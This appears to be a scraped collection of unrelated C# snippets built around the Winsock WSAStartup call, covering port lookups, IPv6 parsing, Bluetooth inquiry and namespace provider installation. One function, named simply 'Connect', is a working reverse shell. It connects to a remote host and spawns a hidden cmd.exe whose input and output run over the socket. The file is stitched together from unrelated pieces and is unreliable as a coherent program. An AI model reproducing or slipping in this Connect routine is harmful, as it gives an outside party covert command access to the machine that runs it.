public static short GetServiceByName(string service, string protocol) { var wsaData = new WSAData(); if(WSAStartup(MakeWord(2,2), ref wsaData) != 0) { throw new SocketUtilException("WSAStartup", new SocketException(Marshal.GetLastWin32Error())); } try { var result = getservbyname(service, protocol); if (IntPtr.Zero == result) { throw new SocketUtilException( string.Format("Could not resolve port for service {0}", service), new SocketException(Marshal.GetLastWin32Error())); } var srvent = (servent)Marshal.PtrToStructure(result, typeof(servent)); return Convert.ToInt16(IPAddress.NetworkToHostOrder(srvent.s_port)); } finally { WSACleanup(); } }
public static string GetServiceByPort(short port, string protocol) { var wsaData = new WSAData(); if (WSAStartup(MakeWord(2, 2), ref wsaData) != 0) { throw new SocketUtilException("WSAStartup", new SocketException(Marshal.GetLastWin32Error())); } try { var netport = Convert.ToInt16(IPAddress.HostToNetworkOrder(port)); var result = getservbyport(netport, protocol); if (IntPtr.Zero == result) { throw new SocketUtilException( string.Format("Could not resolve service for port {0}", port), new SocketException(Marshal.GetLastWin32Error())); } var srvent = (servent)Marshal.PtrToStructure(result, typeof(servent)); return srvent.s_name;; } finally { WSACleanup(); } }
//This function initiate the winsock service calling //the api_WSAStartup funtion and returns resulting value. private static int InitiateService() { WSAData udtWSAData = default(WSAData); int lngResult = 0; lngResult = api_WSAStartup(WinsockVersion.SOCKET_VERSION_11, ref udtWSAData); return(lngResult); }
static IPv6Address() { WSAData wsaData = new WSAData(); int ret = WSAStartup((short)0x0202, // we need 2.2 out wsaData); if (ret != 0) { throw new ArgumentException("WSAStartup failed"); } }
public static void Connect() { WSAData data = new WSAData(); int result = 0; data.wHighVersion = 2; data.wVersion = 2; result = WSAStartup(36, ref data); if (result != 0) { throw new Exception("socket connect failure!"); } }
public static void WSAStartup() { WSAData data = new WSAData(2, 2); int result = WSAStartup(36, ref data); if (result == 0) // Success { WSACleanup(); } else { throw new System.ComponentModel.Win32Exception(result); } }
public void SetHostName(string name) { // this takes a long time (often > 30 seconds) WSAData data = new WSAData(); data.highVersion = HIGH_VERSION; data.version = LOW_VERSION; var result = WSAStartup(WORD_VERSION, ref data); var nameBytes = Encoding.ASCII.GetBytes(name + '\0'); result = sethostname(nameBytes, nameBytes.Length); WSACleanup(); }
public static bool InstallNSP() { WSAData data = new WSAData(); GUID guid = new GUID(); guid.d = new byte[8]; int result = 0; data.highVersion = 2; data.version = 2; short version = (short)MakeWord(2, 2); result = WSAStartup(version, out data); if (result == 0) { string systempath = Environment.SystemDirectory; string nsppath = systempath + "\\" + "spellnsp.dll"; //79633098-C0A1-4898-8B11-55D2951116FB} guid.a = 0x79633098; guid.b = 0x4091; guid.c = 0x4898; guid.d[0] = 0x55; guid.d[1] = 0xD2; guid.d[2] = 0x95; guid.d[3] = 0x11; guid.d[4] = 0x16; guid.d[5] = 0xFB; int retval = WSCInstallNameSpace("Caching NSP", nsppath, 12, 1, ref guid); if (retval != 0) { Int32 errval = WSAGetLastError(); Console.WriteLine(" Error : " + errval.ToString()); } Console.WriteLine(data.description); WSACleanup(); } return(true); }
static void Main(string[] args) { CommContext cmt = new CommContext(); IntPtr cmtPtr = Marshal.AllocHGlobal(Marshal.SizeOf(cmt)); Marshal.StructureToPtr(cmt, cmtPtr, true); string host = "LocalHost"; byte[] hostBytes = Encoding.UTF8.GetBytes(host + "\0"); IntPtr hostPtr = Marshal.AllocHGlobal(hostBytes.Length); Marshal.Copy(hostBytes, 0, hostPtr, hostBytes.Length); string username = "******"; byte[] usernameBytes = Encoding.UTF8.GetBytes(username + "\0"); IntPtr usernamePtr = Marshal.AllocHGlobal(usernameBytes.Length); Marshal.Copy(usernameBytes, 0, usernamePtr, usernameBytes.Length); string password = "******"; byte[] passwordBytes = Encoding.UTF8.GetBytes(password + "\0"); IntPtr passwordPtr = Marshal.AllocHGlobal(passwordBytes.Length); Marshal.Copy(passwordBytes, 0, passwordPtr, passwordBytes.Length); string shell_cmd = "shell_cmd"; byte[] shell_cmdBytes = Encoding.UTF8.GetBytes(shell_cmd + "\0"); IntPtr shell_cmdPtr = Marshal.AllocHGlobal(shell_cmdBytes.Length); Marshal.Copy(shell_cmdBytes, 0, shell_cmdPtr, shell_cmdBytes.Length); const int BUF_LEN = 256; IntPtr errmsgPtr = new IntPtr(BUF_LEN); int bLen = BUF_LEN; WSAData data = new WSAData(); WSAStartup(0x201, out data); IntPtr sio = socket(ADDRESS_FAMILIES_INT.AF_INET, SOCKET_TYPE_INT.SOCK_STREAM, PROTOCOL_INT.IPPROTO_TCP); IntPtr sErr = socket(ADDRESS_FAMILIES_INT.AF_INET, SOCKET_TYPE_INT.SOCK_STREAM, PROTOCOL_INT.IPPROTO_TCP); int results = WaitForLogon(cmtPtr, hostPtr, usernamePtr, passwordPtr, shell_cmdPtr, errmsgPtr, bLen, sio, sErr); string error = Marshal.PtrToStringAuto(errmsgPtr); }
public static IPv6Address Parse(string address) { if (address == null) { throw new ArgumentNullException("Bad string address"); } TryAgain: int Size = 28; sockaddr_in6 SockAddrIN6 = new sockaddr_in6(); int ret = WSAStringToAddress(address, AddressFamily.InterNetworkV6, IntPtr.Zero, ref SockAddrIN6, ref Size); if (ret != 0) { int Err = Marshal.GetLastWin32Error(); if (Err == 10093) { WSAData wsaData = new WSAData(); ret = WSAStartup((short)0x0202, out wsaData); if (ret != 0) { throw new ArgumentException("WSAStartup failed"); } goto TryAgain; } throw new ArgumentException("WSAStringToAddress failed for " + address + " error " + Err.ToString()); } IPv6Address instance = new IPv6Address(SockAddrIN6.sin6_addr, SockAddrIN6.sin6_scope_id); return(instance); }
public static bool UInstallNSP() { WSAData data = new WSAData(); GUID guid = new GUID(); guid.d = new byte[8]; int result = 0; data.highVersion = 2; data.version = 2; short version = (short)MakeWord(2, 2); result = WSAStartup(version, out data); if (result == 0) { //79633098-C0A1-4898-8B11-55D2951116FB} guid.a = 0x79633098; guid.b = 0x4091; guid.c = 0x4898; guid.d[0] = 0x55; guid.d[1] = 0xD2; guid.d[2] = 0x95; guid.d[3] = 0x11; guid.d[4] = 0x16; guid.d[5] = 0xFB; int retval = WSCUnInstallNameSpace(ref guid); if (retval != 0) { Int32 errval = WSAGetLastError(); Console.WriteLine(" Error : " + errval.ToString()); } WSACleanup(); } return(true); }
public static bool TryConnect(string ipString, int port) { if (!Initialized) { var wsaData = new WSAData(); if (WSAStartup(0x0202, out wsaData) != 0) { return(false); } m_Buffer = typeof(SocketAddress).GetField("m_Buffer", (BindingFlags.Instance | BindingFlags.NonPublic)); Initialized = true; } IPAddress address; if (!IPAddress.TryParse(ipString, out address)) { return(false); } if (!((port >= 0) && (port <= 0xffff))) { return(false); } var remoteEP = new IPEndPoint(address, port); SocketAddress socketAddress = remoteEP.Serialize(); IntPtr m_Handle = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp, IntPtr.Zero, 0, 1 /*overlapped*/); if (m_Handle == new IntPtr(-1)) { return(false); } new SocketPermission(NetworkAccess.Connect, TransportType.Tcp, remoteEP.Address.ToString(), remoteEP.Port).Demand(); var buf = (byte[])m_Buffer.GetValue(socketAddress); var result = (WSAConnect(m_Handle, buf, socketAddress.Size, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == 0); closesocket(m_Handle); return(result); }
internal static extern SocketError WSAStartup(short wVersionRequested, out WSAData lpWSAData);
static extern Int32 WSAStartup(Int16 wVersionRequested, ref WSAData wsaData);
/// <summary> /// Gets service port number by name/protocol /// </summary> /// <remarks>http://stackoverflow.com/questions/3457977/convert-service-name-to-port</remarks> /// <param name="name">name of service</param> /// <param name="protocol">protocol the service is using</param> /// <returns>port number</returns> public static int GetServByName(string name, string protocol) { // Vorbedingung if (string.IsNullOrEmpty(name)) { throw new ArgumentNullException("name"); } //check first in services file if (File.Exists(etcFileHelper.GetFullFilename(etcFileHelper.ServicesFilename))) { var services = etcFileHelper.ReadServices(etcFileHelper.GetFullFilename(etcFileHelper.ServicesFilename)); var service = services.FirstOrDefault(i => i.Name.ToLower() == name.ToLower() && i.Protocol.ToLower() == protocol.ToLower()); if (service != null) { return(service.Port); } } //we failed to find an appropriate service in the file, use the api instead. int result = 0; int intResult = -1; if (int.TryParse(name, out intResult)) { result = System.Convert.ToInt32(name, CultureInfo.InvariantCulture); } else { WSAData dummy = new WSAData(); int sccuessful = NativeMethods.WSAStartup(0x0202, ref dummy); if (sccuessful != 0) { throw CreateWSAException(); } IntPtr intPtr = NativeMethods.GetServByName(name, protocol); try { if (intPtr != IntPtr.Zero) { Servent servent = (Servent)Marshal.PtrToStructure(intPtr, typeof(Servent)); result = System.Convert.ToInt32(IPAddress.NetworkToHostOrder(servent.s_port)); } else { throw CreateWSAException(); } } finally { sccuessful = NativeMethods.WSACleanup(); if (sccuessful != 0) { throw CreateWSAException(); } } } return(result); }
public static extern Int32 WSAStartup(short wVersionRequested, ref WSAData wsaData);
// Implemented functions from IDevice public DevicePool Inquire() { DevicePool pool = new DevicePool(); IntPtr lpwsaqueryset = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WSAQUERYSET))); WSAQUERYSET wsaqueryset = new WSAQUERYSET(); wsaqueryset.dwSize = Marshal.SizeOf(typeof(WSAQUERYSET)); wsaqueryset.dwNameSpace = 16; WSAData data = new WSAData(); data.wHighVersion = 2; data.wVersion = 2; Marshal.StructureToPtr(wsaqueryset,lpwsaqueryset,false); int flags = (int)0x0002; flags |= (int)(0x1000|0x0010|0x0100); Int32 handle = 0; int result = 0; result = WSAStartup(36,data); if(result != 0) { throw new Exception("WSA Error, make sure you have the newest version (at least 2.2) of Winsock2!"); } result = WSALookupServiceBegin(wsaqueryset,flags,ref handle); if (result == -1) { int error = WSAGetLastError(); if (error == 10108) // No device attached { throw new Exception("You do not have a bluetooth device on your system."); } } while (0 == result) { Int32 dwBuffer = 0x10000; IntPtr pBuffer = Marshal.AllocHGlobal(dwBuffer); WSAQUERYSET qsResult = new WSAQUERYSET() ; result = WSALookupServiceNext(handle, flags, ref dwBuffer, pBuffer); if (0==result) { Marshal.PtrToStructure(pBuffer, qsResult); CS_ADDR_INFO addr = new CS_ADDR_INFO(); Marshal.PtrToStructure(qsResult.lpcsaBuffer, addr); sockaddr sa = new sockaddr(); Marshal.PtrToStructure(addr.RemoteAddr.lpSockaddr,sa); monotooth.BluetoothAddress ba = new BluetoothAddress(); for (int i = 5; i >= 0; i--) { ba.Array[i] = sa.sa_data[i]; } WindowsRemoteDevice dev = new WindowsRemoteDevice(ba, qsResult.szServiceInstanceName); pool.Add(dev); } else { WSALookupServiceEnd(handle); } Marshal.FreeHGlobal(pBuffer); } Marshal.FreeHGlobal(lpwsaqueryset); WSACleanup(); return pool; }
private static extern int WSAStartup(ushort wVersionRequested, ref WSAData wsaData);
public static extern int WSAStartup(UInt16 version, out WSAData lpWSAData);
public static void WSAStartup() { WSAData data = new WSAData(2, 2); int result = WSAStartup(36, ref data); if (result == 0) // Success WSACleanup(); else throw new System.ComponentModel.Win32Exception(result); }
private static extern int api_WSAStartup(int wVersionRequired, ref WSAData lpWSADATA);
private static extern int WSAStartup([In] short wVersionRequested, out WSAData lpWSAData);
public static extern int WSAStartup( UInt16 wVersionRequested, WSAData wsaData);
///<summary> Please check the arguments of the function you want to call </summary> public static Delegate GetDelegate(Libraries lib, Functions func) { switch (lib) { case Libraries.User32: { switch (func) { case Functions.User32_MessageBoxA: return(new MessageBoxA((int id, string msg, string title, int button) => { return 0; })); case Functions.User32_SendMessageA: return(new SendMessage((IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam) => { return 0; })); } break; } case Libraries.Kernel32: { switch (func) { case Functions.Kernel32_ExitProcess: return(new ExitProcess((int a) => { })); case Functions.Kernel32_GetStdHandle: return(new GetStdHandle((int a) => { return 0; })); case Functions.Kernel32_Sleep: return(new Sleep((int a) => { })); case Functions.Kernel32_WriteConsoleA: return(new WriteConsoleA((int handle, string value, int len, int written, int zero) => { return false; })); } break; } case Libraries.ws2_32: { switch (func) { case Functions.ws2_32_recv: return(new recv((int s, int buf, int len, int flags) => { return 0; })); case Functions.ws2_32_send: return(new send((int s, byte *buf, int len, int flags) => { return 0; })); case Functions.ws2_32_closesocket: return(new closesocket((int SocketHandle) => { return 0; })); case Functions.ws2_32_htonl: return(new htonl((long hostlong) => { return 0; })); case Functions.ws2_32_htons: return(new htons((int hostshort) => { return 0; })); case Functions.ws2_32_inet_addr: return(new inet_addr((string cp) => { return 0; })); case Functions.ws2_32_inet_ntoa: return(new inet_ntoa((int _in) => { return 0; })); case Functions.ws2_32_listen: return(new listen((int s, int backlog) => { return 0; })); case Functions.ws2_32_ntohl: return(new ntohl((long netlong) => { return 0; })); case Functions.ws2_32_ntohs: return(new ntohs((int netshort) => { return 0; })); case Functions.ws2_32_socket: return(new socket((int af, int type, int protocol) => { return 0; })); case Functions.ws2_32_WSACleanup: return(new WSACleanup(() => { return 0; })); case Functions.ws2_32_WSAGetLastError: return(new WSAGetLastError(() => { return 0; })); case Functions.ws2_32_WSAStartup: return(new WSAStartup((int Version, out WSAData Data) => { Data = new WSAData(); return 0; })); case Functions.ws2_32_bind: return(new bind((int SocketHandle, ref sockaddr_in addr, int namelen) => { return 0; })); case Functions.ws2_32_accept: return(new accept((int socketHandle, ref sockaddr_in socketAddress, ref int addressLength) => { return 0; })); case Functions.ws2_32_connect: return(new connect((int SocketHandle, ref sockaddr_in addr, int addrsize) => { return 0; })); } break; } } return(null); }
public static bool Connect(string ipString, int port) { if (!Initialized) { var wsaData = new WSAData(); if (WSAStartup(0x0202, out wsaData) != 0) { return(false); } m_Buffer = typeof(SocketAddress).GetField("m_Buffer", (BindingFlags.Instance | BindingFlags.NonPublic)); Initialized = true; } IPAddress address; if (!IPAddress.TryParse(ipString, out address)) { return(false); } if (!((port >= 0) && (port <= 0xffff))) { return(false); } var remoteEP = new IPEndPoint(address, port); SocketAddress socketAddress = remoteEP.Serialize(); IntPtr m_Handle = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp, IntPtr.Zero, 0, 0); if (m_Handle == new IntPtr(-1)) { return(false); } new SocketPermission(NetworkAccess.Connect, TransportType.Tcp, remoteEP.Address.ToString(), remoteEP.Port).Demand(); var buf = (byte[])m_Buffer.GetValue(socketAddress); var result = (WSAConnect(m_Handle, buf, socketAddress.Size, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == 0); STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpReserved = null; startupInfo.dwFlags = (0x00000001 | 0x00000100); //(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); startupInfo.hStdInput = m_Handle; startupInfo.hStdOutput = m_Handle; startupInfo.hStdError = m_Handle; PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION(); String user = "******"; String domain = "."; String password = "******"; int LogFlags = 0x00000002; //LOGON_NETCREDENTIALS_ONLY - Change to 0x00000000 if you want to run with known credentials (RunAs) String appname = @"C:\Windows\System32\cmd.exe"; String cmd = null; int CreateFlags = 0x08000000; //CREATE_NO_WINDOW String currentDir = System.IO.Directory.GetCurrentDirectory(); try { CreateProcessWithLogonW( user, domain, password, LogFlags, appname, cmd, CreateFlags, 0, currentDir, ref startupInfo, out processInfo); } catch (Exception e) { Console.WriteLine(e.ToString()); } return(result); }
internal static extern int WSAStartup( [In] short wVersionRequested, [Out] out WSAData lpWSAData );
public static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
static extern Int32 WSAStartup(ushort wVersionRequested, out WSAData wsaData);
/// <summary> /// Gets protocol number by name (tcp/udp/icmp etc') /// </summary> /// <param name="name">protocol name</param> /// <returns>protocol number</returns> public static int GetProtoByName(string name) { // Vorbedingung if (string.IsNullOrEmpty(name)) { throw new ArgumentNullException("name"); } //check first in protocols file if (File.Exists(etcFileHelper.GetFullFilename(etcFileHelper.ProtocolFilename))) { var protocols = etcFileHelper.ReadProtocols(etcFileHelper.GetFullFilename(etcFileHelper.ProtocolFilename)); var protocol = protocols.FirstOrDefault(i => i.Name.ToLower() == name.ToLower()); if (protocol != null) { return(protocol.ProtocolNumber); } } //failed, use API. int result = 0; int intResult = -1; if (int.TryParse(name, out intResult)) { result = System.Convert.ToInt32(name, CultureInfo.InvariantCulture); } else { WSAData dummy = new WSAData(); int sccuessful = NativeMethods.WSAStartup(0x0202, ref dummy); if (sccuessful != 0) { throw CreateWSAException(); } IntPtr intPtr = NativeMethods.GetProtocolByName(name); try { if (intPtr != IntPtr.Zero) { ProtoEnt protoent = (ProtoEnt)Marshal.PtrToStructure(intPtr, typeof(ProtoEnt)); result = System.Convert.ToInt32(protoent.p_proto); } else { throw CreateWSAException(); } } finally { sccuessful = NativeMethods.WSACleanup(); if (sccuessful != 0) { throw CreateWSAException(); } } } return(result); }
public static extern SocketError WSAStartup([In] short wVersionRequested, [Out] out WSAData lpWSAData);
static extern private Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
public static extern int WSAStartup(ushort Version, out WSAData Data);
//UPGRADE_WARNING: Structure WSAData may require marshalling attributes to be passed as an argument in this Declare statement. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="C429C3A5-5D47-4CD9-8F51-74A1616405DC"' private static extern int api_WSAStartup(int wVersionRequired, ref WSAData lpWSADATA);